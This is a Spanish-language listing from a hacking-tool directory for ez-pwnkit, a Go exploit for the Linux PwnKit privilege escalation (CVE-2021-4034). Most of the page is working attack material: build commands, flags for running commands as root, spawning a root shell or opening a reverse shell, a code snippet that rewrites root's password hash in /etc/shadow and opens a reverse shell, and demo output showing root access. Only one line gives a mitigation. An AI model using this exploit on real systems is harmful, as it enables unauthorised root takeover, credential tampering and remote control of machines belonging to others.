Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ez-pwnkit — Implementación en Go del exploit de escalada de privilegios local PwnKit para Linux (CVE-2021-4034) | Kitploit
Herramientas/GitHubGitHub/oxdbxkxo/ez-pwnkit
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónDesarrollo de Payloads
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Implementación en Go del exploit de escalada de privilegios local PwnKit para Linux (CVE-2021-4034)

Ver Repositorio
92hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ez-pwnkit

Una implementación en Go puro del exploit CVE-2021-4034 PwnKit.

El exploit utiliza syscall.ForkExec para sobrevivir al final del programa principal.

Instalación

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

Como el exploit depende de una biblioteca compartida maliciosa, se genera un archivo PWN.so a partir de payload.go y se incrusta en el ejecutable exploit resultante.

El Makefile utiliza sed para cambiar temporalmente el nombre del paquete del archivo payload.go a main, lo que hace que este Makefile sea exclusivo de Linux.

Como el payload en Go no es tan fiable como el de C, el Makefile compilará el exploit con el payload en C por defecto. Puedes elegir compilar con el payload en Go usando make build_go.

Uso

Como ejecutable independiente

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

El exploit puede usarse con un comando (-c), como reverse-shell (-r) o para lanzar una shell root (-s).

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

Como paquete

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

Ten en cuenta que Command y RevShell utilizan syscall.ForkExec para ejecutar el exploit, por lo que los procesos resultantes son independientes del programa principal y sobreviven a su finalización.

Aunque go-PwnKit puede importarse a tu proyecto desde Github, no olvides que ejecutarás una biblioteca compartida no confiable como root. Por ello, se recomienda encarecidamente usar un PWN.so compilado localmente. Solo digo 😚

Demostración

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

Mitigación

Parchea pkexec si es posible; de lo contrario, desactiva el bit setuid en el binario pkexec.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

Créditos

Este proyecto está inspirado en varios otros PoCs del exploit PwnKit.

Gracias a An00bRektn por la configuración directa del exploit.

Gracias a PaterGottesman y berdav por la claridad en la explicación del exploit.

Gracias a dzonerzy por el truco de GIO_USE_VFS.

Descargar herramienta